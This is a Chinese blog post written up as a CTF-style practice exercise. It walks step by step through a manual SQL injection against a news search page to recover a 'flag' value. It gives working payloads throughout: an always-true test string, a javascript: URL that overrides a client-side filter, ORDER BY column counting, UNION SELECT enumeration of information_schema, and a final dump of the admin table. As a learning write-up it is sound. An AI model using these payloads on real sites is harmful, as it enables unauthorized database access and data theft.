記一次sql注入練習(xí)

做這個(gè)練習(xí)之前,感覺自己就是個(gè)小白,做了之后,感覺學(xué)到了好多東西。作文以記之。

題目要求

題目源于一個(gè)比賽,要求找出數(shù)據(jù)庫中的flag字段的值。
給的題目環(huán)境是一個(gè)新聞搜索引擎。

界面
界面

開始滲透

哈集美馬修~

1.sql注入檢測,試探該網(wǎng)站有沒有sql注入漏洞。

首先猜測sql執(zhí)行語句為:
select [字段1,字段2...字段n] from [表名] where [內(nèi)容字段] like '%關(guān)鍵詞%' [...]
中括號[]標(biāo)識(shí)的都是未知內(nèi)容。
所謂檢測就是在where后面的條件上做文章,改變其邏輯,讓其恒為真。

嘗試在關(guān)鍵詞中寫1' or '1'='1'#(其中#為mysql的單行注釋符,旨在去掉sql語句后面的邏輯,不同的數(shù)據(jù)庫實(shí)現(xiàn)可能有些許不同)
試圖將sql語句改變?yōu)椋?br> select [字段] from [表名] where [內(nèi)容字段] like '%1' or '1'='1'#%' [...]
#符號后面的語句被注釋掉了,并且where條件因?yàn)楸患由?or '1'='1'所以恒為真。
所以該sql等價(jià)于:select 字段 from 表

此時(shí)點(diǎn)擊搜索按鈕,只要有內(nèi)容被查出,說明該網(wǎng)站是有sql注入漏洞的。

2.越過頁面js腳本。

然而,在我點(diǎn)擊了搜索按鈕之后,得到的只是一個(gè)警告框。

警告框

不急,這雖然證明該網(wǎng)站做了針對sql注入的防備,但不能說明防備是有效的。
反而對于我來說這是一件可慶幸的事,說明該網(wǎng)站很有可能采用的是拼接sql的方式,為了防止sql注入而做了敏感字符過濾。

現(xiàn)在找到彈框的js代碼才是最重要的。
右鍵頁面,打開網(wǎng)頁源代碼。喜從中來。

網(wǎng)頁中的js腳本
搜索按鈕

邏輯似乎已經(jīng)看出來了,點(diǎn)擊搜索后,獲取關(guān)鍵詞內(nèi)容,對關(guān)鍵詞內(nèi)容進(jìn)行敏感字符過濾。

這個(gè)過濾是在前端進(jìn)行的,所以形同虛設(shè)。雖然這個(gè)是一開始就加載了的代碼,修改它不會(huì)起作用,但是可以采用地址欄執(zhí)行js的方式,對這個(gè)函數(shù)進(jìn)行重寫。
清空地址欄,輸入javascript:前綴,給一個(gè)空格之后就可以寫要執(zhí)行的js代碼了,直接定義一個(gè)名稱為myFunction的函數(shù),這個(gè)函數(shù)什么都不做,回車。

重寫js函數(shù)

然后再次進(jìn)行sql注入探測。

搜索結(jié)果

果了個(gè)然的查出了新聞?dòng)涗洝?br> 證明此網(wǎng)站確是存在sql注入漏洞的。

3.探測select字段個(gè)數(shù)

我的目的很明確,找到數(shù)據(jù)庫中的flag字段,這個(gè)字段可能是在這個(gè)新聞表里面,也可能在別的表里面。這些之后慢慢爆。
現(xiàn)在有個(gè)問題,怎樣才知道想要的信息,也就是說,怎樣才能讓它把我想要的信息打印在頁面上。
通過firebug知曉了,點(diǎn)擊搜索后并不是發(fā)送的異步請求,所以頁面上的輸出是在后端就已經(jīng)搞定了的。

神器一:union關(guān)鍵字
union關(guān)鍵字,這個(gè)關(guān)鍵字可以將兩個(gè)查詢結(jié)果以一個(gè)結(jié)果集返回。這簡直是神器。不過需要知道他的select語句里面查詢了多少個(gè)字段,因?yàn)閡nion連接的兩個(gè)查詢結(jié)果列數(shù)必需相等。

神器二:order by關(guān)鍵字
這就要用到另一個(gè)神器 order by。因?yàn)閛rder by后面可以接數(shù)字,表示結(jié)果按select的第幾個(gè)字段進(jìn)行排序。

猜測一下,因?yàn)轫撁嫔巷@示的每個(gè)新聞信息有3個(gè)字段,所以很有可能,select語句所查詢的就是這3個(gè)字段。不過為了嚴(yán)謹(jǐn),還是用order by來驗(yàn)證一下。

關(guān)鍵詞輸入框輸入:1' or '1'='1' order by 3#
等價(jià)sql語句:select [字段] from [表名] order by 3

查詢結(jié)果

有數(shù)據(jù),說明字段數(shù)>=3

關(guān)鍵詞輸入框輸入:1' or '1'='1' order by 4#
等價(jià)sql語句:select [字段] from [表名] order by 4

查詢結(jié)果

無數(shù)據(jù),此時(shí)后臺(tái)sql一定是報(bào)錯(cuò)了,說明字段數(shù)<4
綜上,3<=字段數(shù)<4,得出字段數(shù)=3。

4.在頁面上輸出自己想要輸出的內(nèi)容。

用order by知道了字段數(shù),就可以動(dòng)用union神器了。
用union時(shí)除了知道字段數(shù),還需要知道字段類型,但是這個(gè)很簡單,觀察列表列出的值就大概清楚。

關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,'JerryL','hahaha'#
等價(jià)sql語句:select 20,'JerryL','hahaha'(由于where恒為假,所以前面的查詢一定沒有結(jié)果,結(jié)果只可能是后面的查詢)

查詢結(jié)果

結(jié)果沒問題。

5.找表,找字段

現(xiàn)在已經(jīng)能夠自由的操作頁面的顯示了,只需要找到flag所在的表,就可以完成任務(wù)。

列出當(dāng)前數(shù)據(jù)庫所有表
其實(shí)mysql把所有的表、視圖、函數(shù)等信息都放到了information_schema這個(gè)數(shù)據(jù)庫中,而所有表的信息在information_schema.TABLES這個(gè)表中。這就表示,只要知道了數(shù)據(jù)庫類型是mysql,就可以用這個(gè)表來查詢所有數(shù)據(jù)庫,所有表的信息。

還需要用到一個(gè)函數(shù)database(),這個(gè)函數(shù)返回當(dāng)前web程序使用的數(shù)據(jù)庫的名稱。
于是..

關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,'JerryL',TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()#
等價(jià)sql語句:select 20,'JerryL',TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database()

當(dāng)前數(shù)據(jù)庫所有表

可以看到這個(gè)數(shù)據(jù)庫里面有兩張表,一張admin,一張news。不過我們需要的是表名和字段名,所以只有表名是不夠的。

列出指定表中所有字段名
有困難,找information_schema。
在information_schema庫里面的COLUMNS表中,有所有的字段信息。
關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()#
等價(jià)sql語句:select 20,TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database()#

查詢結(jié)果

真相大白。

6.執(zhí)行最后任務(wù),拿出flag

關(guān)鍵詞輸入框輸入:1' and 1=2 union select 20,username,flag from admin#
等價(jià)sql語句:select 20,username,flag from admin

得到flag

技巧總結(jié)

1.sql注入探測,嘗試通過參數(shù)修改sql where語句的邏輯,使其恒為真,執(zhí)行后看邏輯是否被修改成功,從而判定是否有注入點(diǎn)。

2.頁面上的js幾乎都是形同虛設(shè)的,總有辦法讓其失效,常用的就是瀏覽器地址欄輸入:javascript: js代碼。用js代碼的執(zhí)行來為一些變量賦值,或者重寫函數(shù)。

3.用order by探測字段個(gè)數(shù),知道個(gè)數(shù)后,用union輸出自己想要的內(nèi)容。

4.各大數(shù)據(jù)庫實(shí)現(xiàn)都提供了許多可用的函數(shù)和元數(shù)據(jù)表等,這些都是很有用的工具。

關(guān)于sql預(yù)編譯

個(gè)人理解,sql預(yù)編譯不能完全解決sql注入的問題,他的作用僅僅是將敏感字符的處理從后端代碼交給了數(shù)據(jù)庫軟件。
也就是說,如果使用的數(shù)據(jù)庫軟件本身的實(shí)現(xiàn)是有漏洞的,那么照樣可以進(jìn)行sql注入。不過主流的數(shù)據(jù)庫軟件應(yīng)該都是可靠的,所以程序中盡量采用sql預(yù)編譯。

后記

第一次正兒八經(jīng)地搞sql注入,雖然只是一道練習(xí)題。但是對于一個(gè)沒有用工具,采用手工注入,而且之前沒有sql注入經(jīng)驗(yàn)的人來說,過程還是有點(diǎn)困難的。不過當(dāng)憑著自己的想法,一步一步往真相靠近的時(shí)候,感覺真的很棒。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容